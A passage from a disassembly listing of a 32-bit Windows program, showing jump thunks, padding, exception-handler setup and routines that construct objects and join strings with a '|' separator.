sub_401FCD endp
; ---------------------------------------------------------------------------
jmp loc_432690
; ---------------------------------------------------------------------------
loc_401FD7: ; DATA XREF: ___:off_43E094o
jmp loc_435280
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near
jmp sub_40F0B0
sub_401FDC endp
; ---------------------------------------------------------------------------
jmp loc_436300
; ---------------------------------------------------------------------------
loc_401FE6: ; DATA XREF: ___:0043E03Co
jmp loc_41EDB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap
jmp sub_41FF40
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_430380
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp
; ___:00439F88j ...
jmp sub_417B00
sub_401FF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FFA proc near ; CODE XREF: ___:00416D7Fp
jmp sub_413120
sub_401FFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFF proc near ; CODE XREF: sub_421A80+5p
jmp sub_421F80
sub_401FFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402004 proc near ; CODE XREF: ___:00421654p
jmp sub_41BFA0
sub_402004 endp
; ---------------------------------------------------------------------------
off_402009 dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40200E proc near ; CODE XREF: sub_404640+2CEp
; sub_404C70+472p ...
jmp sub_40A670
sub_40200E endp
; ---------------------------------------------------------------------------
jmp loc_433120
; ---------------------------------------------------------------------------
jmp sub_41B3D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_422370+Ap
jmp sub_422650
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: sub_404C70+7EAp
jmp sub_41B950
sub_402022 endp
; ---------------------------------------------------------------------------
loc_402027: ; DATA XREF: ___:off_43E014o
jmp loc_40ADE0
; ---------------------------------------------------------------------------
loc_40202C: ; DATA XREF: ___:off_43E088o
jmp loc_42BE60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402031 proc near ; CODE XREF: ___:0040ADE3p
; ___:0040FEDEp ...
jmp sub_40AE10
sub_402031 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402036 proc near ; CODE XREF: sub_424840+109p
; sub_424840+178p ...
jmp sub_424720
sub_402036 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40203B proc near ; CODE XREF: sub_4098E0+7p
jmp sub_4099D0
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_416660+Ap
jmp sub_416870
sub_402040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402045 proc near
jmp sub_40CB10
sub_402045 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204A proc near ; CODE XREF: ___:0042EEEBp
; sub_42FDD0+EAp
jmp sub_433030
sub_40204A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: sub_421960+5p
; sub_421A50+6p ...
jmp sub_421EF0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp
; sub_40FF60+95Ep ...
jmp sub_411990
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_40C040+7p
jmp sub_40C230
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40205E proc near ; CODE XREF: sub_418940+34p
; sub_418E90+67p
jmp sub_418CA0
sub_40205E endp
; ---------------------------------------------------------------------------
jmp loc_409B10
; ---------------------------------------------------------------------------
loc_402068: ; DATA XREF: ___:off_43E13Co
jmp loc_427FC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_417020+2Bp
; sub_417020+3Bp ...
jmp sub_403EE0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_4097D0+14p
jmp sub_409830
sub_402072 endp
; ---------------------------------------------------------------------------
jmp loc_431FD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp
jmp sub_4279F0
sub_40207C endp
; ---------------------------------------------------------------------------
jmp sub_426650
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402086 proc near ; CODE XREF: sub_418330+4Dp
jmp sub_418A70
sub_402086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_415160+5p
; sub_415310+6p ...
jmp sub_415CE0
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_426650+3p
jmp sub_426680
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_41B0F0
; ---------------------------------------------------------------------------
jmp loc_421620
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40209F proc near ; CODE XREF: ___:00416D4Fp
jmp sub_407030
sub_40209F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_413670+83p
; sub_4144D0+91p ...
jmp sub_415310
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; DATA XREF: ___:0043E054o
jmp sub_41EF30
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p
jmp sub_40AD00
sub_4020AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp
; sub_432980+36p
jmp sub_4329F0
sub_4020B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p
; sub_422240+11p
jmp sub_4223E0
sub_4020B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020BD proc near ; CODE XREF: sub_4220E0+4p
jmp sub_4224F0
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp
jmp sub_42A440
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; CODE XREF: ___:0041A212p
jmp sub_41A2B0
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_416760+Ap
jmp sub_4168C0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co
jmp sub_42B2D0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020D6 proc near ; CODE XREF: sub_415C70+4p
jmp sub_416490
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: ___:0042F4B6p
; ___:0042F518p ...
jmp sub_4337E0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_418D20+8p
jmp sub_418FC0
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020E5 proc near ; CODE XREF: sub_418890+34p
; sub_418D80+67p
jmp sub_418BA0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p
jmp sub_41A860
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; CODE XREF: sub_415AA0+35p
jmp sub_416570
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp
; sub_4066E0+43p ...
jmp sub_409BC0
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p
; sub_40BE60+6p ...
jmp sub_40C060
sub_4020F9 endp
; ---------------------------------------------------------------------------
jmp loc_42F5B0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402103 proc near ; CODE XREF: ___:00416E7Ap
jmp sub_4190B0
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: ___:00429A33p
jmp sub_429A60
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp
; sub_40FF60+1392p ...
jmp sub_4147D0
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_4139B0+38p
; sub_413DA0+5Fp
jmp sub_413510
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40A130+14p
; sub_40A160+7p ...
jmp sub_40A180
sub_402117 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40211C proc near ; CODE XREF: sub_42A150+157p
jmp sub_429D00
sub_40211C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap
; sub_40AC30+1Ap
jmp sub_40ACA0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: sub_415600+3p
; ___:00415E1Fp ...
jmp sub_416050
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; DATA XREF: ___:0043E02Co
jmp sub_40FF60
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_4147D0+EDp
jmp sub_415830
sub_402130 endp
; ---------------------------------------------------------------------------
jmp loc_41B390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_40BE20+3p
jmp sub_40C0A0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40BEC0+11p
; ___:0040BEE7p ...
jmp sub_40C1E0
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_41E660+2C5p
jmp sub_4207E0
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; CODE XREF: sub_41D830+652p
jmp sub_41C070
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40214E proc near ; CODE XREF: sub_418BC0+32p
jmp sub_418E90
sub_40214E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402153 proc near ; CODE XREF: sub_40EC30+ACp
; ___:0040F35Dp
jmp sub_40ED70
sub_402153 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_4137E0+93p
jmp sub_433A20
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp
; sub_415AA0+2Cp
jmp sub_415A00
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: ___:0042541Dp
jmp sub_4253E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402167 proc near ; CODE XREF: sub_420530+17Dp
jmp sub_4219D0
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40216C proc near ; CODE XREF: ___:0042C261p
jmp sub_42A090
sub_40216C endp
; ---------------------------------------------------------------------------
loc_402171: ; DATA XREF: ___:off_43E010o
jmp loc_409B10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap
; sub_40A9F0+103p
jmp sub_40AC30
sub_402176 endp
; ---------------------------------------------------------------------------
jmp loc_426620
; ---------------------------------------------------------------------------
jmp loc_41AC00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402185 proc near ; CODE XREF: sub_407220+16p
; sub_407260+Bp ...
jmp sub_4074C0
sub_402185 endp
; ---------------------------------------------------------------------------
jmp loc_416CE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218F proc near ; CODE XREF: sub_40B000+1Bp
jmp sub_432AD0
sub_40218F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: ___:00415A5Ap
jmp sub_4164E0
sub_402194 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp
; sub_430690+1Bp ...
jmp sub_430700
sub_402199 endp
; ---------------------------------------------------------------------------
jmp loc_42EA90
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021A3 proc near ; CODE XREF: ___:004086B7p
; ___:004086DCp ...
jmp sub_4198C0
sub_4021A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021A8 proc near ; DATA XREF: ___:0043E130o
; ___:0043E140o ...
jmp sub_42C710
sub_4021A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021AD proc near ; CODE XREF: sub_40B520+55p
jmp sub_409FD0
sub_4021AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co
jmp sub_428220
sub_4021B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p
; sub_422410+67p
jmp sub_422130
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp
; sub_4070F0+68p ...
jmp sub_407260
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_4333F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p
; sub_41C610+332p ...
jmp sub_41D670
sub_4021C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021CB proc near ; CODE XREF: sub_40BC70+11p
; sub_40BEC0+1Fp
jmp sub_40BFF0
sub_4021CB endp
; ---------------------------------------------------------------------------
jmp loc_42F5F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap
; sub_4246D0+1Bp ...
jmp sub_424420
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: ___:004169BBp
jmp sub_418940
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DF proc near
jmp sub_42BB70
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_42EC80
; ---------------------------------------------------------------------------
jmp loc_42EE10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021EE proc near ; CODE XREF: sub_433160+1Bp
jmp sub_4331D0
sub_4021EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F3 proc near ; CODE XREF: sub_42E400+101p
jmp sub_42DD50
sub_4021F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co
jmp sub_4071C0
sub_4021F8 endp
; ---------------------------------------------------------------------------
jmp loc_42E2D0
; ---------------------------------------------------------------------------
jmp locret_418840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402207 proc near ; CODE XREF: sub_4036D0+25p
; sub_4036D0+35p ...
jmp sub_403C90
sub_402207 endp
; ---------------------------------------------------------------------------
jmp loc_433100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_418330+88p
; sub_418330+98p
jmp sub_418A90
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: ___:00416ABBp
; ___:00439F0Aj ...
jmp sub_417770
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; CODE XREF: sub_418AE0+5p
jmp sub_418D50
sub_40221B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402220 proc near ; CODE XREF: sub_414640+3p
jmp sub_414670
sub_402220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402225 proc near ; CODE XREF: ___:0042F2FBp
; ___:0042FC27p ...
jmp sub_430AD0
sub_402225 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; DATA XREF: ___:off_43E11Co
jmp sub_427600
sub_40222A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222F proc near ; CODE XREF: sub_42F840+102p
; sub_431730+5Dp ...
jmp sub_430810
sub_40222F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_413510+5Cp
; sub_413510+C0p ...
jmp sub_415460
sub_402234 endp
; ---------------------------------------------------------------------------
jmp loc_431410
; ---------------------------------------------------------------------------
jmp loc_42F170
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_41D830+203p
jmp sub_42D0D0
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: sub_42E400+148p
; sub_42E400+173p
jmp sub_42DC70
sub_402248 endp
; ---------------------------------------------------------------------------
jmp loc_42E1A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_4133D0+34p
; sub_4147D0+40p
jmp sub_4158F0
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p
; sub_40CF60+ADp
jmp sub_40CF60
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_42E220
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402261 proc near ; CODE XREF: sub_422A40+938p
jmp loc_423FA0
sub_402261 endp
; ---------------------------------------------------------------------------
jmp loc_419A90
; ---------------------------------------------------------------------------
loc_40226B: ; CODE XREF: ___:00438CE6j
jmp loc_40CEE0
; ---------------------------------------------------------------------------
db 1270h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4034E0 proc near ; CODE XREF: sub_4019B5j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_4034E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403539
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40352A: ; CODE XREF: sub_4034E0+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40352A
loc_403539: ; CODE XREF: sub_4034E0+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_401424
push offset asc_4435EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401861
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A87
push offset byte_446F60
lea ecx, [esp+47Ch+var_450]
call sub_401861
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_403591: ; CODE XREF: sub_4034E0+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_4035E7
lea ecx, [esp+478h+var_438]
call sub_401681
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017E4
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401A9B
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_403591
loc_4035E7: ; CODE XREF: sub_4034E0+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_4034E0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036B0 proc near ; CODE XREF: sub_401681j
mov eax, [ecx+9]
retn
sub_4036B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036D0 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4036D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_402207
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_402207
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_402207
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_402207
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_402207
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_402207
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_402207
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_402207
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_402207
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_402207
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_402207
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_402207
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_402207
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_402207
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_402207
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_402207
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_402207
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_402207
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_402207
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_402207
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_402207
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_402207
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_402207
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_402207
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_402207
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_402207
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_402207
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_402207
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_402207
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_402207
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_402207
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_402207
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_402207
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401749
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401749
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401749
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401749
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401749
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401749
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401749
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401749
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401749
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401749
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401749
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401749
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401749
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401749
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401749
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401749
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401749
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4036D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C00 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C70 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43E004
retn
sub_403C70 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C90 proc near ; CODE XREF: sub_402207j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
